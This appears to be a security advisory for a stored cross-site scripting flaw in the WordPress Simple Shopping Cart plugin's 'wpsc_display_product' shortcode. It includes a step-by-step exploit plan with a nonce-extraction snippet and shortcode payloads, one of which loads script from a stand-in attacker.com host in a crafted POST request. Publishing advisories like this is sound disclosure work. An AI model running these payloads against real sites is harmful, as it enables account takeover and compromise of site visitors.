Simple Shopping Cart <= 5.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpsc_display_product' Shortcode
Description
The Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsc_display_product' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.2.4What Changed in the Fix
Changes introduced in v5.2.5
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Shopping Cart plugin (<= 5.2.4) via the `wpsc_display_product` shortcode. ### 1. Vulnerability Summary The `Simple Shopping Cart` plugin registers the `[wpsc_display_product]` shortcode …
Show full research plan
This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Shopping Cart plugin (<= 5.2.4) via the wpsc_display_product shortcode.
1. Vulnerability Summary
The Simple Shopping Cart plugin registers the [wpsc_display_product] shortcode (and its alias [wp_cart_display_product]) to render product display boxes. The handler function wpsc_cart_display_product_handler fails to sanitize or escape the description attribute before echoing it into the page. An attacker with Contributor level permissions or higher can create a post containing this shortcode and inject malicious JavaScript into the description attribute, which executes when any user views the post.
2. Attack Vector Analysis
- Shortcode:
[wpsc_display_product] - Vulnerable Attribute:
description - Authentication Required: Authenticated (
Contributorlevel or higher). - Endpoint: WordPress Post Editor (to store the payload) and the Post View/Preview page (to trigger execution).
- Payload Location: The attribute value is stored in the
post_contentfield of thewp_poststable.
3. Code Flow
- Entry Point: The plugin registers shortcodes in
wp_shopping_cart_shortcodes.phpviawpsc_register_shortcodes(). - Shortcode Registration:
add_shortcode('wpsc_display_product', 'wpsc_cart_display_product_handler' ); - Attribute Extraction: In
wpsc_cart_display_product_handler($atts), the attributes are extracted usingshortcode_atts(). - The Sink (Vulnerable Point):
The variable// File: wp_shopping_cart_shortcodes.php // Function: wpsc_cart_display_product_handler // ... extracts attributes into variables including $description ... <div class="wp_cart_product_description"> <?php echo $description ?> </div>$descriptionis echoed directly without callingesc_html(),wp_kses(), or any other sanitization function.
4. Nonce Acquisition Strategy
This vulnerability involves a shortcode rendered during standard post display. No specific plugin-side AJAX nonce is required for the execution of the XSS. However, a WordPress core nonce is required to save the post as a Contributor.
- Login: Authenticate as a Contributor.
- Navigate to Editor: Use
browser_navigateto go towp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the form fieldname="_wpnonce".- JS:
document.querySelector('input[name="_wpnonce"]').value
- JS:
- Post Creation: Submit the post containing the malicious shortcode using the
http_requesttool.
5. Exploitation Strategy
The goal is to store a payload that executes in the context of an administrator viewing the post.
- Payload:
[wpsc_display_product name="Attack Product" price="1" description="<script>alert(document.domain)</script>"] - Step-by-Step:
- Log in to the WordPress site as a user with the
contributorrole. - Obtain a valid
_wpnoncefor creating a post (as described in section 4). - Send a
POSTrequest towp-admin/post.phpto create a new draft post:- URL:
https://<target>/wp-admin/post.php - Content-Type:
application/x-www-form-urlencoded - Body:
(Note: A simple_wpnonce=<NONCE>&action=editpost&post_ID=<NEW_ID>&post_title=XSS_PoC&content=[wpsc_display_product name="Attack" price="1" description="<script src='https://attacker.com/payload.js'></script>"]&post_status=draft<script>alert(1)</script>is sufficient for a PoC).
- URL:
- Retrieve the URL of the created post (or its preview link).
- As an administrator, navigate to that post URL.
- Observe the JavaScript execution.
- Log in to the WordPress site as a user with the
6. Test Data Setup
- User: Create a user with username
contributor_userand rolecontributor. - Plugin State: Ensure the "Simple Shopping Cart" plugin is active.
- Settings: No specific plugin settings are required to trigger the shortcode rendering.
7. Expected Results
- The shortcode should render a product display box.
- Inside the
<div class="wp_cart_product_description">, the raw script tag should be present. - The browser should execute the JavaScript, resulting in an alert or external network request.
8. Verification Steps
- Verify Storage: Use WP-CLI to check the post content:
wp post get <POST_ID> --field=post_content - Verify Unescaped Output: Perform an unauthenticated (or admin) HTTP request to the post URL and check for the raw payload:
curl -s https://<target>/post-url/ | grep "wp_cart_product_description" - Database Check: Confirm the string is stored in the database without entities:
wp db query "SELECT post_content FROM wp_posts WHERE ID = <POST_ID>"
9. Alternative Approaches
- Attribute Breakout: If the
nameorpriceattributes were slightly better sanitized but still allowed attribute injection, we could try breaking out of attributes likealtorvalue. However,descriptionis a directechosink, making it the highest-priority target. - Thumbnail XSS: If the
descriptionwas patched, thethumbnailattribute usesesc_url_raw. While generally safe, if the plugin uses it in a context other thansrc(like anonmouseover), it could be exploited. In the current source, it is correctly used insrc. - Shortcode Aliases: Test both
[wpsc_display_product]and[wp_cart_display_product]as they share the same handler.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.